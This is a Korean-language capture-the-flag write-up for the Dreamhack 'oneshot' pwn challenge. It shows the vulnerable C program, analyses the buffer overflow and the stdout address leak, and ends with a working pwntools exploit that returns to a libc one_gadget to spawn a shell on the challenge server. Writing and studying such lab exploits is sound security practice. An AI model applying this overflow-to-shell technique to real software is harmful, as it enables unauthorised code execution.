oneshot

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if (check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

보호 기법 분석

Image

nx랑 pie 적용

코드 분석

  • stdout의 주소 알려줌.. libc 함수들 다 계산 가능해짐
  • msg에 46만큼 입력 받음 -> 버퍼 오버플로우..
  • check가 0이거나 음수..
  • msg의 내용도 출력.. 릭으로 무언가 유출 가능
  • memset도 메모리 관련이라 hook이 있지 않을까
  • hook함수에 system 덮어쓰고 memset실행.. 근데 인자 세 개나 보내야 하므로 one gadget을 써야할듯..?

Image

쓸 수 있는 one_gadget

스택 프레임 구조 파악..

Image

rip+0x107에 stdout 주소.. 가 아니고 main+43에서 rsi에 저장도는 값이 stdout 주소

Image

msg: 출력

rbp-0x20에 read 스택은 buf에 20 할당 해줌 stack buf(0x20) … sfp(0x8) check(0x4)가 어디엔가 존재.. 이부분을 0으로 넣어줘야 함(이러지 않으면 exit)

Image

rbp-0x8값을 검사.. 이부분이 check임을 알 수 있음 b’a’0x18+’\x00’0x8+b’a’*0x8+ret 이렇게 쓰면 되나.. ret를 one gadget으로 덮어주면 되는 문제

익스플로잇

from pwn import *

p=remote('host3.dreamhack.games',18215)
e=ELF('./oneshot')
libc=ELF('./libc-2.23.so')

p.recvuntil(b'stdout: 0x')
stdout=int(p.recvn(12),16)
libc_base=stdout-(libc.sym['_IO_2_1_stdout_'])
og=libc_base+0xf1247

payload=b'a'*0x18+b'\x00'*0x8+b'a'*0x8
payload+=p64(og)

p.sendafter(b'MSG: ',payload)
p.interactive()

Image